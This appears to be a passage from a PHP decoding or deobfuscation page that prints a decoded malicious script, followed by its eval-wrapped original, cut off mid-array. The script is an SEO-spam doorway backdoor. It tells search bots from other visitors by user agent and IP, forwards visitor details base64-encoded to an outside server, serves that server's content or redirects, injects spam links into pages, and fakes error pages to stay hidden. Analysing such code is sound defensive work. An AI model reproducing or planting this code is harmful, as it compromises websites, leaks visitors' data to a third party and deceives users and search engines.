\'.$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$pos_text_title].\'</title>\',$buf);}$start_pos=0;$end_pos=0;$offset_pos=false;if($GLOBALS[\'D_START_MAIN_CONTENT\']){$offset_pos=stripos($buf,$GLOBALS[\'D_START_MAIN_CONTENT\']);}if($offset_pos===false){$offset_pos=stripos($buf,\'<body\');if($offset_pos!==false){$start_pos=$offset_pos+1;$end_pos=stripos($buf,\'</body>\',$start_pos);}$offset_pos=stripos($buf,\'<main\',$start_pos);if($offset_pos!==false){$start_pos=$offset_pos+1;$end_pos=stripos($buf,\'</main>\',$start_pos);}$offset_pos=stripos($buf,\'role="main"\',$start_pos);if($offset_pos!==false){$start_pos=$offset_pos+1;}$offset_pos=stripos($buf,\'<article\',$start_pos);if($offset_pos!==false){$start_pos=$offset_pos+1;$end_pos=stripos($buf,\'</article>\',$start_pos);}if(!$end_pos){$end_pos=stripos($buf,\'<footer\',$start_pos);if($end_pos!==false){$end_pos++;}}$offset_pos=stripos($buf,\'<h1\',$start_pos);if($offset_pos!==false&&(!$end_pos||$offset_pos-1<$end_pos)){$start_pos=$offset_pos+1;}}else{$start_pos=$offset_pos+1;}if(!$end_pos||$end_pos-200<=$start_pos){$end_pos=false;}$pos_p=stripos($buf,\'</p>\',$start_pos);if($pos_p===false||($end_pos&&$pos_p>$end_pos)){$pos_p=$start_pos;}else{$pos_p+=4;}for($i=0,$arr_pos_link=0,$arr_pos_text=0,$text=\'\';$i<$GLOBALS[\'D_MAX_LINK_ON_PAGE\']&&$i<count($GLOBALS[\'D_ARRAY_LINKS_INJECT\']);$i++){$arr_pos_link=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.$GLOBALS[\'D_ARRAY_LINKS_INJECT\'][$arr_pos_link][0][\'l\']))%(count($GLOBALS[\'D_ARRAY_LINKS_INJECT\'])-1);$arr_pos_text=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text]))%(count($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])-1);if($i===0){$text=\'<h2>\'.$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text].\'</h2>\';}elseif(!($i%4)){$j=0;$buf=substr_replace($buf,$text,$pos_p,0);while($j++<2&&($p=stripos($buf,\'</p>\',$pos_p+1+strlen($text)))!==false&&($end_pos&&$p<=$end_pos)){$pos_p=$p+4;}if($end_pos){$end_pos+=strlen($text);}$text=\'<h3>\'.$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text].\'</h3>\';}$text.=\'<p>\';$count_text=(abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.\'saltsaltqwe\'))%5)+1;for($k=0;$k<$count_text;$k++){$arr_pos_text=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.$k.$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text]))%(count($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])-1);$text.=$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text].\'. \';}$percent_anchor=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$GLOBALS[\'D_ARRAY_LINKS_INJECT\'][$arr_pos_link][\'l\'].$i.\'salttty\'))%100;$sum_percent=0;foreach($GLOBALS[\'D_ARRAY_LINKS_INJECT\'][$arr_pos_link][\'a\']as $anchor_link=>$percent){if($percent_anchor<$sum_percent+$percent){break;}$sum_percent+=$percent;}$text=rtrim($text,\' .,\').\' <a href="\'.$GLOBALS[\'D_ARRAY_LINKS_INJECT\'][$arr_pos_link][\'l\'].\'">\'.$anchor_link.\'</a>\';$text_end_sent=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.$k.$GLOBALS[\'D_ARRAY_LINKS_INJECT\'][$arr_pos_link][\'l\'].\'saltwertrert\'))%100;if($text_end_sent<25){$text.=\'. \';}elseif($text_end_sent<50){$text.=\', \';}else{$text.=\' \';}$count_text=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.$k.\'salttwe\'))%5;for($k=0;$k<$count_text;$k++){$arr_pos_text=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.$k.$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text]))%(count($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])-1);$text.=$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text].\'. \';}$text.=\'</p>\';}return substr_replace($buf,$text,$pos_p,0);}function d_get_protocol(){if((isset($_SERVER[\'HTTP_X_FORWARDED_PROTO\'])&&$_SERVER[\'HTTP_X_FORWARDED_PROTO\']===\'https\')||(isset($_SERVER[\'HTTPS\'])&&$_SERVER[\'HTTPS\']!==\'off\')||(isset($_SERVER[\'REQUEST_SCHEME\'])&&$_SERVER[\'REQUEST_SCHEME\']===\'https\')||(isset($_SERVER[\'HTTP_X_FORWARDED_SSL\'])&&$_SERVER[\'HTTP_X_FORWARDED_SSL\']===\'on\')||(isset($_SERVER[\'SERVER_PORT\'])&&$_SERVER[\'SERVER_PORT\']==443)||(isset($_SERVER[\'HTTP_FRONT_END_HTTPS\'])&&$_SERVER[\'HTTP_FRONT_END_HTTPS\']!==\'off\')){return \'https://\';}return \'http://\';}function d_error500($cont=\'\'){header($_SERVER[\'SERVER_PROTOCOL\'].\' 500 Internal Server Error\',true,500);if($cont){exit($cont);}if(is_callable(\'apache_get_version\')){$ss=apache_get_version();}else{$ss=\'Apache/2.2.22 (CentOS)\';}$ss.=\' Server at \'.$GLOBALS[\'ND_DOOR_DOMAIN\'].\' Port \'.$_SERVER[\'SERVER_PORT\'];echo \'<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
<html><head> 
<title>500 Internal Server Error</title> 
</head><body> 
<h1>Internal Server Error</h1> 
<hr> 
<address>\'.$ss.\'</address> 
</body></html>\';exit;}function d_get_cont($full_url,$data=null,$method=\'GET\',$use_compress=true,$add_header=true,$real_ip=false,$allow_function=null){if(is_array($data)){$data=http_build_query($data);}if(is_string($allow_function)){$allow_function=array($allow_function);}$parse_url=parse_url($full_url);if($method===\'GET\'&&$data){$full_url.=(!empty($parse_url[\'query\'])?\'&\':\'?\').$data;$parse_url=parse_url($full_url);}$httpv=\'1.1\';$h=array();if($add_header){if(is_array($add_header)){$h=$add_header;}elseif($add_header===true){$h=getallheaders();unset($h[\'content-type\'],$h[\'Content-Type\']);if(isset($h[\'content-length\'])){$h[\'Content-Length\']=$h[\'content-length\'];unset($h[\'content-length\']);}if(isset($h[\'host\'])||isset($h[\'Host\'])){unset($h[\'Host\'],$h[\'host\']);}}}if($use_compress===true&&function_exists(\'gzdecode\')){unset($h[\'Pragma\'],$h[\'Cache-Control\']);$h[\'Accept-Encoding\']=\'gzip\';}else{unset($h[\'Accept-Encoding\'],$h[\'Accept-encoding\']);}if($real_ip){$h[\'X-Real-IP\']=$real_ip;$h[\'Client-IP\']=$real_ip;$h[\'X-Forwarded-For\']=$real_ip;}if(isset($h[\'Host\'])&&$h[\'Host\']==$parse_url[\'host\']){if(isset($h[\'Cookie\'])){$h[\'Cookie\'].=\'; realquery=1\';}}$h[\'Connection\']=\'Close\';$opts=array(\'ssl\'=>array(\'verify_peer\'=>false,\'verify_peer_name\'=>false));if(function_exists(\'stream_socket_client\')&&(!$allow_function||in_array(\'socket\',$allow_function))){$s=stream_socket_client(($parse_url[\'scheme\']===\'https\'?\'ssl://\':\'\').$parse_url[\'host\'].\':\'.($parse_url[\'scheme\']===\'https\'?443:80),$errno,$errstr,30,4,stream_context_create($opts));if($s===false){d_error500(\'bs1\');}$h[\'Host\']=$parse_url[\'host\'];if($method===\'POST\'){$headers=\'POST \'.($parse_url[\'path\']?$parse_url[\'path\']:\'/\').(isset($parse_url[\'query\'])?\'?\'.$parse_url[\'query\']:\'\').\' HTTP/\'.$httpv." 
";if(!isset($h[\'Content-Type\'])){$h[\'Content-Type\']=\'application/x-www-form-urlencoded\';}$h[\'Content-Length\']=strlen($data);}else{unset($h[\'Content-Length\']);unset($h[\'content-length\']);$headers=\'GET \'.($parse_url[\'path\']?$parse_url[\'path\']:\'/\').(isset($parse_url[\'query\'])?\'?\'.$parse_url[\'query\']:\'\').\' HTTP/\'.$httpv." 
";}foreach($h as $k=>$v){$headers.=$k.\': \'.$v." 
";}$headers.=" 
".(($method===\'POST\'&&$data)?$data:\'\');if(fwrite($s,$headers)===false){d_error500(\'bs1\');}$cont=\'\';while($bf=fread($s,2048)){$cont.=$bf;}fclose($s);list($headers,$cont)=explode(" 
 
",$cont,2);if(($ch_pos=stripos($headers,\'Transfer-Encoding:\'))!==false&&stripos($headers,\'chunked\')!==false){$tmp=$cont;$lrn=strlen(" 
");$cont=\'\';$ofs=0;do{$p=strpos($tmp," 
",$ofs);$len=hexdec(substr($tmp,$ofs,$p-$ofs));$cont.=substr($tmp,$p+$lrn,$len);$ofs=$p+$lrn*2+$len;}while($len!=0);$headers=substr_replace($headers,\'\',$ch_pos,stripos($headers," 
",$ch_pos)+1-$ch_pos);}}elseif(function_exists(\'curl_init\')&&(!$allow_function||in_array(\'curl\',$allow_function))&&($s=curl_init($full_url))!==false){if($method===\'POST\'){curl_setopt($s,CURLOPT_POST,1);curl_setopt($s,CURLOPT_POSTFIELDS,$data);}else{unset($h[\'Content-Length\']);unset($h[\'content-length\']);}if(isset($h[\'Host\'])){unset($h[\'Host\']);}$headers=array();foreach($h as $k=>$v){$headers[]=$k.\': \'.$v;}curl_setopt($s,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($s,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($s,CURLOPT_FOLLOWLOCATION,0);curl_setopt($s,CURLOPT_RETURNTRANSFER,1);curl_setopt($s,CURLOPT_HEADER,1);if($httpv===\'1.1\'){curl_setopt($s,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);}elseif($httpv===\'1.0\'){curl_setopt($s,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_0);}curl_setopt($s,CURLOPT_HTTPHEADER,$headers);$cont=curl_exec($s);curl_close($s);list($headers,$cont)=explode(" 
 
",$cont,2);}elseif(function_exists(\'file_get_contents\')&&(!$allow_function||in_array(\'file_get\',$allow_function))){$opts[\'http\'][\'follow_location\']=0;if($method===\'POST\'){$opts[\'http\'][\'method\']=\'POST\';$opts[\'http\'][\'content\']=$data;if(!isset($h[\'Content-Type\'])){$h[\'Content-Type\']=\'application/x-www-form-urlencoded\';}}else{$opts[\'http\'][\'method\']=\'GET\';unset($h[\'Content-Length\']);unset($h[\'content-length\']);}if(isset($h[\'Host\'])){unset($h[\'Host\']);}$opts[\'http\'][\'protocol_version\']=$httpv;$opts[\'http\'][\'timeout\']=30;$opts[\'http\'][\'header\']=\'\';foreach($h as $k=>$v){$opts[\'http\'][\'header\'].=$k.\': \'.$v." 
";}$s=file_get_contents($full_url,false,stream_context_create($opts));if($s===false){d_error500(\'bs3\');}$headers=implode(" 
",$http_response_header);$cont=$s;}else{d_error500(\'bs0\');}if(stripos($headers,\'Content-Encoding:\')!==false){$cont=gzdecode($cont);if(!$cont){d_error500(\'bs0\');}}$headers=preg_replace("#( 
|^)(Server|X-Powered-By|Content-Encoding):[^$]{1,} 
#iU"," 
",$headers);return array(\'headers\'=>$headers,\'contents\'=>$cont);}function d_404(){header($_SERVER[\'SERVER_PROTOCOL\'].\' 404 Not Found\',true,404);$res=d_get_cont(d_get_protocol().$GLOBALS[\'ND_DOOR_DOMAIN\'].\'/404\');if(isset($res[\'headers\'])&&strpos($res[\'headers\'],\' 404 \')!==false){echo $res[\'contents\'];}else{echo \'<html> 
<body>\'.str_repeat(\' \',400).\'<style>* {margin:0 !important;padding:0 !important;}</style><iframe name="error404" id="error404" src="//\'.$GLOBALS[\'ND_DOOR_DOMAIN\'].\'/404" onload="document.title=this.contentDocument?this.contentDocument.title:this.contentWindow.document.title" width=100% height=100% scrolling=auto frameborder=0 style="border:none !important"></iframe><script type="text/javascript">(function(el, w){function loadFunc(e){e = e || w.event;var f = e.target || e.srcElement, fb = f.contentDocument || f.contentWindow.document;document.title = fb.title;}if (w.addEventListener)el.addEventListener("load", loadFunc, false);else if (w.attachEvent)el.attachEvent("onload", loadFunc);})(document.getElementById("error404"), window);</script> 
</body> 
</html>\';}exit;}if(!isset($_GET[\'q\'])&&basename(__FILE__)===trim($_SERVER[\'REQUEST_URI\'],\'/\')){d_404();}switch(1):case 1:if($ND_IS_BAD_PAGE){set_bad_cookie();break;}$D_BAD_BOTS_SIGNS=\'tool|MJ12|PHP/|vip0|Ruby|curl|xovi|Yeti|frog|wget|SWeb|Java/|ccbot|email|roBot|Alexa|ezoic|AdBot|Neeva|nutch|ltx71|wesee|disco|MLBot|gonzo|Aport|dotbot|exabot|TinEye|python|github|MSNBot|DoCoMo|BUbiNG|JS\-Kit|woobot|007ac9|ezooms|Apache|wotbox|Ahrefs|hatena|iCjobs|magpie|express|diffbot|Blexbot|Cincraw|semrush|webcraw|archive|Postman|SBL\-BOT|ZoomBot|webster|yacybot|sistrix|Linguee|dsearch|HuntBot|GSLFbot|Unister|gigabot|harvest|Voyager|Bookmark|applebot|download|serpstat|openlink|nerdybot|scoutjet|blekkobo|rogerbot|aiHitBot|backlink|appengine|Grammarly|Amazonbot|webcopier|mindUpBot|Butterfly|FairShare|megaindex|lipperhey|WordPress|findlinks|collector|looksmart|Twitterbot|ScholarBot|Barkrowler|linkdexbot|linkwalker|User\-Agent|drupal\.org|Qualidator|Infohelfer|eb_germany|similartech|Analyzerbot|ZoominfoBot|meanpathbot|AskPeterBot|WBSearchBot|SolomonoBot|Updownerbot|AccompanyBot|AdsBot\-Google|DataForSeoBot|protectionbot|AwarioSmartBot|go\-http\-client|searchmetricsbot|aboundexbot|majestic|ncbot|pagesinventory|sitebot|spbot|pulnobot|JamesBOT|spyfu\';$D_GOOD_BOTS_SIGNS=\'GoogleBot|DuckDuckBot|Bingbot|yahoo|yandex\.com/bots|PetalBot|AOLBuild|SeznamBot|Qwantify|MojeekBot\';if(!$ND_IS_GOOD_PAGE&&!$ND_IS_FOR_REPLACE_PAGE){$GLOBALS[\'ND_LOCAL_USE_GETHOSTBYADDR\']=false;}$ND_IP=d_get_real_ip();$check_user=check_user(isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:\'\',$ND_IP);if($check_user===\'bad_bot\'){break;}d_ini_sets();$res_data_ses=get_data_ses();if(!$ND_IS_GOOD_PAGE&&!$ND_IS_FOR_REPLACE_PAGE){if($check_user===\'good_bot\'){if($GLOBALS[\'D_CHANCE_LINK_INJECT\']&&$_SERVER[\'REQUEST_URI\']!==\'/\'&&(($GLOBALS[\'D_URI_CRC32\']=abs(crc32($_SERVER[\'REQUEST_URI\'])))%10000<$GLOBALS[\'D_CHANCE_LINK_INJECT\'])&&is_array($GLOBALS[\'D_ARRAY_LINKS_INJECT\'])&&is_array($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])&&(count($GLOBALS[\'D_ARRAY_LINKS_INJECT\'])-1)>=0&&(count($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])-1)>=0){ob_start(\'d_replace_data\',0,PHP_VERSION_ID>=50400?(PHP_OUTPUT_HANDLER_STDFLAGS^PHP_OUTPUT_HANDLER_REMOVABLE):false);}}else{set_bad_cookie();}break;}if($ND_IS_GOOD_PAGE&&$_SERVER[\'REQUEST_URI\'][strlen($_SERVER[\'REQUEST_URI\'])-1]===\'/\'){header(\'Location: \'.substr($_SERVER[\'REQUEST_URI\'],0,-1),true,301);exit;}$query_string_sh=parse_url($_SERVER[\'REQUEST_URI\'],PHP_URL_QUERY);if(!isset($_GET[\'q\'])&&$query_string_sh){$pairs=explode(\'&\',$query_string_sh);foreach($pairs as $pair){$part=explode(\'=\',$pair);$get_params_decode[$part[0]]=count($part)>1?urldecode($part[1]):\'\';}$q=isset($get_params_decode[\'q\'])?$get_params_decode[\'q\']:substr($_SERVER[\'REQUEST_URI\'],1);}else{$get_params_decode=$_GET;}if(isset($_SERVER[\'REQUEST_URI\'])){$q=substr($_SERVER[\'REQUEST_URI\'],1);}if($query_string_sh){$q=str_replace(\'?\'.$query_string_sh,\'\',$q);$cl_prm_url=preg_replace("#(\&|^)(utm_[^=]{0,50}|fb_[^=]{0,50}|ga_[^=]{0,50}|pd_rd_[^=]{0,50}|pf_rd_[^=]{0,50}|itm_[^=]{0,50}|pk_[^=]{0,50}|sc_[^=]{0,50}|hmb_[^=]{0,50}|referer[^=]{0,50}|action_object_map|action_type_map|action_ref_map|aff_platform|aff_trace_key|algo_expid|algo_pvid|btsid|ws_ab_test|_encoding|ref_|ref|callback|cvid|form|mkt_tok|trkCampaign|gclid|gclsrc|spReportId|spJobID|spUserID|spMailingID|s_cid|elqTrackId|elqTrack|assetType|assetId|recipientId|campaignId|siteId|mc_cid|mc_eid|nr_email_referer|vero_conv|vero_id|yclid|_openstat|mbid|cmpid|cid|c_id|campaign_id|Campaign|hash|fbclid|refsrc|gs_l|gs_lcp|ved|gws_rd|gs_gbg|gs_mss|gs_rn|_hsenc|_hsmi|__hssc|__hstc|hsCtaTracking|source|position|tt_medium|tt_content|redircnt|feature|wt_zmc)=[^\&^$]{0,255}#i",\'\',$query_string_sh);$q=$q.($cl_prm_url?\'?\'.trim($cl_prm_url,\'&?\'):\'\');}if(substr($q,-7)===\'checkme\'){header(\'X-Robots-Tag: noindex\');$rr=d_get_cont(\'https://www.google.com/\');if(!$rr&&$rr!==null){exit(\'bad_connect_test\');}header(\'HTTP/1.1 200 OK\',true,200);exit(\'<!-- test -->\');}if($q===\'form\'.$GLOBALS[\'ND_DOOR_HASH\'].\'/request\'){header(\'X-Robots-Tag: noindex\');header(\'HTTP/1.1 200 OK\',true,200);exit(\'[{"status":true}]\');}if($q===\'inow\'.$GLOBALS[\'ND_DOOR_HASH\']||$q===\'inow\'.$GLOBALS[\'ND_DOOR_HASH\'].\'.txt\'){header(\'Content-Type: text/plain\');header(\'X-Robots-Tag: noindex\');header(\'HTTP/1.1 200 OK\',true,200);exit(\'inow\'.$GLOBALS[\'ND_DOOR_HASH\']);}if(isset($_SERVER[\'HTTP_REFERER\'])){$r=stripos($_SERVER[\'HTTP_REFERER\'],$GLOBALS[\'ND_DOOR_DOMAIN\']);if($r===false||$r>20||preg_match("#".$GLOBALS[\'D_GOOD_BOTS_SIGNS\']."#isU",$_SERVER[\'HTTP_REFERER\'])){$se_ref=$_SERVER[\'HTTP_REFERER\'];}}$cookie_name=strtolower(substr(md5(md5($GLOBALS[\'ND_DOOR_DOMAIN\'])),0,10));$data_request=array(\'domain\'=>$GLOBALS[\'ND_DOOR_DOMAIN\'],\'file\'=>$q,\'ip\'=>$ND_IP,\'user_agent\'=>isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:\'\',\'language\'=>isset($_SERVER[\'HTTP_ACCEPT_LANGUAGE\'])?$_SERVER[\'HTTP_ACCEPT_LANGUAGE\']:\'\',\'uniqueness_cookie\'=>(isset($_COOKIE[$cookie_name])?$_COOKIE[$cookie_name]:\'\'),\'url_from\'=>d_get_protocol().$GLOBALS[\'ND_DOOR_DOMAIN\'].\'/\'.rtrim($q,\'/\'),\'se_referrer\'=>isset($se_ref)?$se_ref:\'\',\'referrer\'=>isset($_SERVER[\'HTTP_REFERER\'])?$_SERVER[\'HTTP_REFERER\']:\'\',\'check_user\'=>$check_user,\'hash_data_ses\'=>$D_HASH_DATA_SES,\'use_ses\'=>$res_data_ses,\'is_for_replace_page\'=>$ND_IS_FOR_REPLACE_PAGE,\'version\'=>2,);if($ND_LOCAL_DNS_CHECK_IP){$data_request[\'local_dns_check_ip\']=true;}foreach($data_request as $k=>$v){if($v===true){$v=\'true\';}elseif($v===false){$v=\'false\';}elseif($v===null){$v=\'null\';}$data_request[$k]=base64_encode($v);}if(stripos($q,\'images\'.$ND_DOOR_HASH.\'/\')!==false){$is_webp=stripos($q,\'.webp\')!==false;$url=$GLOBALS[\'ND_SERVER_NAME\'].\'/\'.str_ireplace($ND_DOOR_HASH,\'\',$q);}else{$url=$GLOBALS[\'ND_SERVER_NAME\'].\'/index.php\'.(isset($gp[\'n\'])?\'?n=\'.((int)$get_params_decode[\'n\']):\'\');}global $cont_response;$cont_response=d_get_cont($url,$data_request,\'GET\',true,true,d_get_real_ip());if(!isset($cont_response[\'headers\'],$cont_response[\'contents\'])||strpos($cont_response[\'headers\'],\' 200 \')===false||strpos($cont_response[\'headers\'],\' 200 \')>30){d_error500();}if(isset($is_webp)&&strpos($cont_response[\'headers\'],\'ype: image/\')!==false){header(\'Content-type: image/\'.($is_webp?\'webp\':\'jpeg\'),true);exit($cont_response[\'contents\']);}$cont_response=json_decode($cont_response[\'contents\'],true);if(!isset($cont_response[\'status\'])){d_error500();}if(isset($cont_response[\'update_data_ses\'])&&$cont_response[\'update_data_ses\']){foreach($cont_response[\'update_data_ses\']as $var_global_name=>$value){$GLOBALS[$var_global_name]=$value;}$ND_NEED_UPDATE_DATA_SES=true;}if($ND_NEED_UPDATE_DATA_SES){set_data_ses();}if($cont_response[\'status\']==\'302\'){header(\'Referrer-Policy: no-referrer\');if(isset($cont_response[\'404r\'])){header($_SERVER[\'SERVER_PROTOCOL\'].\' 404 Not Found\',true,404);exit($cont_response[\'redirect\']);}header(\'Location: \'.$cont_response[\'redirect\'],true,isset($cont_response[\'redir_type\'])?$cont_response[\'redir_type\']:302);exit;}if($cont_response[\'status\']==\'6\'){break;}if($cont_response[\'status\']==\'0\'){break;}header(\'Vary: Accept-Encoding\');header(\'Cache-Control: max-age=604800\');header(\'Content-Type: text/html; charset=utf-8\');if(isset($cont_response[\'set_headers\'])&&!empty($cont_response[\'set_headers\'])&&is_array($cont_response[\'set_headers\'])){foreach($cont_response[\'set_headers\']as $set_header){header($set_header,true);}}if($cont_response[\'status\']==\'8\'){if($check_user===\'good_bot\'&&$GLOBALS[\'D_CHANCE_LINK_INJECT\']&&$_SERVER[\'REQUEST_URI\']!==\'/\'&&(($GLOBALS[\'D_URI_CRC32\']=abs(crc32($_SERVER[\'REQUEST_URI\'])))%10000<$GLOBALS[\'D_CHANCE_LINK_INJECT\'])&&(count($GLOBALS[\'D_ARRAY_LINKS_INJECT\'])-1)>=0&&(count($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])-1)>=0){ob_start(\'d_replace_data\',0,PHP_VERSION_ID>=50400?(PHP_OUTPUT_HANDLER_STDFLAGS^PHP_OUTPUT_HANDLER_REMOVABLE):false);}break;}if($cont_response[\'status\']==\'9\'){break;}if($cont_response[\'status\']!=\'1\'){d_error500();}if($cont_response[\'set_html\']){exit($cont_response[\'set_html\']);}if(isset($cont_response[\'links\'])&&!empty($cont_response[\'links\'])){$cont_response[\'links\']=json_decode($cont_response[\'links\'],true);$link=0;$gb_link=0;}if(isset($cont_response[\'uniqueness_cookie\'])&&!empty($cont_response[\'uniqueness_cookie\'])){setcookie($cookie_name,$cont_response[\'uniqueness_cookie\'],time()+2592000,\'/\');}if(isset($cont_response[\'image_data\'])&&!empty($cont_response[\'image_data\'])){exit(base64_decode($cont_response[\'image_data\']));}$ND_NEED_TEMPLATE=true;endswitch;?>'<?php ;'); ?>

Did this file decode correctly?

Original Code

eval('?>b'<?php
global $D_START_MAIN_CONTENT,$D_USE_GETHOSTBYADDR,$ND_SERVER_NAME,$ND_CHANCE_REPLACE,$D_CHANCE_LINK_INJECT,$D_MAX_LINK_ON_PAGE,$D_ARRAY_LINKS_INJECT,$D_ARRAY_TEXT_INJECT,$D_CHANGE_TITLE,$D_CHECK_BY_IP,$ND_LOCAL_USE_GETHOSTBYADDR,$ND_NEED_UPDATE_DATA_SES,$D_HASH_DATA_SES,$ND_LOCAL_DNS_CHECK_IP,$D_BOTS_INFO,$ND_DOOR_DOMAIN,$ND_DOOR_HASH,$ND_DOOR_HASH_NS,$ND_IS_BAD_PAGE,$ND_IS_GOOD_PAGE,$ND_IS_FOR_REPLACE_PAGE,$D_BAD_BOTS_SIGNS,$D_GOOD_BOTS_SIGNS,$ND_IP,$ND_NEED_UPDATE_DATA_SES,$ND_NEED_TEMPLATE;$ND_SERVER_NAME=\'http://new.fromgoto.com\';$ND_CHANCE_REPLACE=0;?><?php
 global $D_START_MAIN_CONTENT,$D_USE_GETHOSTBYADDR,$ND_SERVER_NAME,$ND_CHANCE_REPLACE,$D_CHANCE_LINK_INJECT,$D_MAX_LINK_ON_PAGE,$D_ARRAY_LINKS_INJECT,$D_ARRAY_TEXT_INJECT,$D_CHANGE_TITLE,$D_CHECK_BY_IP,$ND_LOCAL_USE_GETHOSTBYADDR,$ND_NEED_UPDATE_DATA_SES,$D_HASH_DATA_SES,$ND_LOCAL_DNS_CHECK_IP,$D_BOTS_INFO,$ND_DOOR_DOMAIN,$ND_DOOR_HASH,$ND_DOOR_HASH_NS,$ND_IS_BAD_PAGE,$ND_IS_GOOD_PAGE,$ND_IS_FOR_REPLACE_PAGE,$D_BAD_BOTS_SIGNS,$D_GOOD_BOTS_SIGNS,$ND_IP,$ND_NEED_UPDATE_DATA_SES,$ND_NEED_TEMPLATE;$D_CHANCE_LINK_INJECT=5000;$D_MAX_LINK_ON_PAGE=30;$D_ARRAY_LINKS_INJECT=array();$D_ARRAY_TEXT_INJECT=array();$D_START_MAIN_CONTENT=\'\';$D_USE_GETHOSTBYADDR=true;$D_CHANGE_TITLE=false;$D_CHECK_BY_IP=true;$ND_LOCAL_USE_GETHOSTBYADDR=true;$ND_NEED_UPDATE_DATA_SES=false;$D_HASH_DATA_SES=\'\';$ND_LOCAL_DNS_CHECK_IP=false;$D_BOTS_INFO=array(\'GoogleBot\'=>array(\'dns\'=>false,\'ips\'=>array(\'list\'=>array(),\'range_ipv4\'=>array(array(\'start\'=>\'8.34.208.0\',\'end\'=>\'8.35.207.255\'),array(\'start\'=>\'8.8.4.0\',\'end\'=>\'8.8.4.255\'),array(\'start\'=>\'8.8.8.0\',\'end\'=>\'8.8.8.255\'),array(\'start\'=>\'23.236.48.0\',\'end\'=>\'23.236.63.255\'),array(\'start\'=>\'23.251.128.0\',\'end\'=>\'23.251.159.255\'),array(\'start\'=>\'34.0.0.0\',\'end\'=>\'35.247.255.255\'),array(\'start\'=>\'64.15.112.0\',\'end\'=>\'64.15.255.255\'),array(\'start\'=>\'64.233.160.0\',\'end\'=>\'64.233.255.255\'),array(\'start\'=>\'66.22.0.0\',\'end\'=>\'66.22.100.255\'),array(\'start\'=>\'66.102.0.0\',\'end\'=>\'66.102.100.255\'),array(\'start\'=>\'66.249.50.0\',\'end\'=>\'66.249.95.255\'),array(\'start\'=>\'70.32.100.0\',\'end\'=>\'70.32.159.255\'),array(\'start\'=>\'72.14.100.0\',\'end\'=>\'72.14.255.255\'),array(\'start\'=>\'74.114.0.0\',\'end\'=>\'74.125.255.255\'),array(\'start\'=>\'104.154.0.0\',\'end\'=>\'104.155.255.255\'),array(\'start\'=>\'104.196.0.0\',\'end\'=>\'104.199.255.255\'),array(\'start\'=>\'104.237.160.0\',\'end\'=>\'104.237.191.255\'),array(\'start\'=>\'107.167.100.0\',\'end\'=>\'107.178.255.255\'),array(\'start\'=>\'108.59.80.0\',\'end\'=>\'108.59.95.255\'),array(\'start\'=>\'108.170.100.0\',\'end\'=>\'108.177.255.255\'),array(\'start\'=>\'130.211.0.0\',\'end\'=>\'130.211.255.255\'),array(\'start\'=>\'136.112.0.0\',\'end\'=>\'136.127.255.255\'),array(\'start\'=>\'142.250.0.0\',\'end\'=>\'142.251.255.255\'),array(\'start\'=>\'146.148.0.0\',\'end\'=>\'146.148.255.255\'),array(\'start\'=>\'162.216.0.0\',\'end\'=>\'162.222.255.255\'),array(\'start\'=>\'172.110.0.0\',\'end\'=>\'172.110.255.255\'),array(\'start\'=>\'172.217.0.0\',\'end\'=>\'172.217.255.255\'),array(\'start\'=>\'172.253.0.0\',\'end\'=>\'172.253.255.255\'),array(\'start\'=>\'173.194.0.0\',\'end\'=>\'173.194.255.255\'),array(\'start\'=>\'173.255.0.0\',\'end\'=>\'173.255.255.255\'),array(\'start\'=>\'192.158.0.0\',\'end\'=>\'192.158.255.255\'),array(\'start\'=>\'192.178.0.0\',\'end\'=>\'192.179.255.255\'),array(\'start\'=>\'193.186.0.0\',\'end\'=>\'193.186.255.255\'),array(\'start\'=>\'199.192.100.0\',\'end\'=>\'199.192.255.255\'),array(\'start\'=>\'199.223.150.0\',\'end\'=>\'199.223.255.255\'),array(\'start\'=>\'199.36.154.0\',\'end\'=>\'199.36.156.255\'),array(\'start\'=>\'207.223.160.0\',\'end\'=>\'207.223.175.255\'),array(\'start\'=>\'208.117.224.0\',\'end\'=>\'208.117.255.255\'),array(\'start\'=>\'208.65.152.0\',\'end\'=>\'209.85.255.255\'),array(\'start\'=>\'216.58.150.0\',\'end\'=>\'216.58.255.255\'),array(\'start\'=>\'216.73.0.0\',\'end\'=>\'216.73.255.255\'),array(\'start\'=>\'216.239.0.0\',\'end\'=>\'216.239.255.255\'),array(\'start\'=>\'203.208.0.0\',\'end\'=>\'203.208.255.255\'),),\'range_ipv6\'=>array(array(\'start\'=>\'2a00:1450::\',\'end\'=>\'2a00:1450:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2c0f:fb50::\',\'end\'=>\'2c0f:fb50:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2001:4860::\',\'end\'=>\'2001:4860:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2404:6800::\',\'end\'=>\'2404:6800:ffff:ffff:ffff:ffff:ffff:ffff